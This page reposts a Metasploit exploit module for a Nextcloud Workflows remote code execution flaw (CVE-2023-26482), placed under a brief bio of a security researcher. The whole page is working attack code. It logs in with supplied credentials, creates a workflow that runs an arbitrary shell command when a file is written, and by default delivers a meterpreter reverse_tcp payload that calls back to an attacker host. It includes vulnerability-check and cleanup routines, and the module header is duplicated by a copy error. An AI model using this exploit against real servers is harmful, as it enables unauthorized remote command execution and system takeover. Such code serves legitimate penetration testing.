Khalil Shreateh specializes in cybersecurity, particularly as a "white hat" hacker. He focuses on identifying and reporting security vulnerabilities in software and online platforms, with notable expertise in web application security. His most prominent work includes discovering a critical flaw in Facebook's system in 2013. Additionally, he develops free social media tools and browser extensions, contributing to digital security and user accessibility.

Get Rid of Ads!


Subscribe now for only $3 a month and enjoy an ad-free experience.

Contact us at khalil@khalil-shreateh.com

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Retry

def initialize(info = {})
@token = nil

super(
update_info(
info,
'Name' => 'Nextcloud Workflows Remote Code Execution',
'Description' => %q{
This module adds workflows as an authenticated user
which can only be created by administrators by design.
If the app "Nextcloud Workflow Script" is installed it
is possible to generate a workflow that executes commands.
},
'License' => MSF_LICENSE,
'Author' => [
'Enis Maholli', # Discovery
'arianitisufi', # Discovery
'Armend Gashi', # Discovery
'whotwagner' # Metasploit Module
],
'References' => [
['URL', 'https://github.com/nextcloud/security-advisories/security/advisories/GHSA-h3c9-cmh8-7qpj'],
['CVE', '2023-26482']
],
'Platform' => %w[linux unix],
'Targets' => [
[
'nix Command',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp',
'FETCH_WRITABLE_DIR' => '/tmp'
}
}
],
],
'Privileged' => false,
'DisclosureDate' => '2023-03-30',
'DefaultOptions' => { 'WfsDelay' => 16.minutes.seconds.to_i },
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)

register_options(
[
OptString.new('TARGETURI', [true, 'Path to nextcloud', '/']),
OptString.new('USERNAME', [true, 'The username to authenticate as']),
OptString.new('PASSWORD', [true, 'The password to authenticate with'])
]
)
end

def parse_token(res)
return if res.nil?

if defined? res.get_html_document&.at('//head/@data-requesttoken')&.value
Rex::Text.uri_encode(res.get_html_document.at('//head/@data-requesttoken').value)
else
print_error('token not found')
nil
end
end

def authenticate(user, pass)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'login'),
'method' => 'GET',
'keep_cookies' => true
)
fail_with(Failure::UnexpectedReply, 'Getting login page failed') if res&.code != 200
@token = parse_token(res)
fail_with(Failure::UnexpectedReply, 'Request Token not found') if @token.nil?

data = "user=#{user}&password=#{pass}&requesttoken=#{@token}"

res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'login'),
'method' => 'POST',
'data' => data.to_s,
'keep_cookies' => true
)

fail_with(Failure::NoAccess, 'Login failed') if res.nil? || res.code == 401
end

def request_token
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'csrftoken'),
'method' => 'GET',
'keep_cookies' => true
)
fail_with(Failure::UnexpectedReply, 'Getting login page failed') if res&.code != 200
@token = res.get_json_document['token']
fail_with(Failure::UnexpectedReply, '2: Request Token not found') if @token.nil?
end

def create_workflow(operation)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'ocs/v2.php/apps/workflowengine/api/v1/workflows/user'),
'method' => 'POST',
'headers' => { 'requesttoken' => @token, 'Content-Type' => 'application/json' },
'vars_get' => { 'format' => 'json' },
'data' => {
'id' => -1743078702939,
'class' => 'OCA\\WorkflowScript\\Operation',
'entity' => 'OCA\\WorkflowEngine\\Entity\\File',
'events' => ['\\OCP\\Files::postCreate', '\\OCP\\Files::postWrite', '\\OCP\\Files::postTouch'],
'name' => '',
'checks' => [
{
'class' => 'OCA\\WorkflowEngine\\Check\\FileName',
'operator' => 'matches',
'value' => '/.*/',
'invalid' => false
}
],
'operation' => operation,
'valid' => true
}.to_json,
'keep_cookies' => true
)

fail_with(Failure::NoAccess, 'Login failed') unless res&.code == 200
json_data = res.get_json_document
flow_id = json_data.dig('ocs', 'data', 'id')
flow_id
end

def upload_file(filename)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, "remote.php/webdav/#{filename}"),
'method' => 'PUT',
'headers' => { 'requesttoken' => @token, 'Content-Type' => 'text/plain ' }
)
fail_with(Failure::UnexpectedReply, 'Unable to upload file') unless res&.message == 'Created'
end

def delete_workflow(workflow_id)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "ocs/v2.php/apps/workflowengine/api/v1/workflows/user/#{workflow_id}"),
'vars_get' => { 'format' => 'json' },
'method' => 'DELETE',
'headers' => { 'requesttoken' => @token, 'Content-Type' => 'application/json' },
'keep_cookies' => true
)
end

def delete_file(user, filename)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "remote.php/dav/files/#{user}/#{filename}"),
'method' => 'DELETE',
'headers' => { 'requesttoken' => @token, 'Content-Type' => 'text/plain ' }
)
end

def check
# For the check command
cookie_jar.clear

authenticate(datastore['USERNAME'], datastore['PASSWORD'])
request_token
flow_id = create_workflow('sleep 1')

Exploit::CheckCode::Safe('Target is not vulnerable') if flow_id.nil?

delete_workflow(flow_id)
Exploit::CheckCode::Vulnerable
end

def exploit
# Main function
cookie_jar.clear

authenticate(datastore['USERNAME'], datastore['PASSWORD'])

request_token

case target['Type']
when :unix_cmd
execute_command(payload.encoded)
end
end

def execute_command(cmd, _opts = {})
print_status('Sending payload..')
@temp_filename = "#{Rex::Text.rand_text_alpha(5..10)}..txt"
@flow_id = create_workflow(cmd.to_s)

fail_with(Failure::UnexpectedReply, 'Unable to create workflow') if @flow_id.nil?

print_good('Workflow created')
upload_file(@temp_filename)
end

def need_cleanup?
defined?(@temp_filename) && @temp_filename
end

def cleanup
super
return unless need_cleanup?

print_status('Cleaning up')

delete_workflow(@flow_id) if defined?(@flow_id) && @flow_id
delete_file(datastore['USERNAME'], @temp_filename) if defined?(@temp_filename) && @temp_filename

@flow_id = nil
@temp_filename = nil
end
end
Social Media Share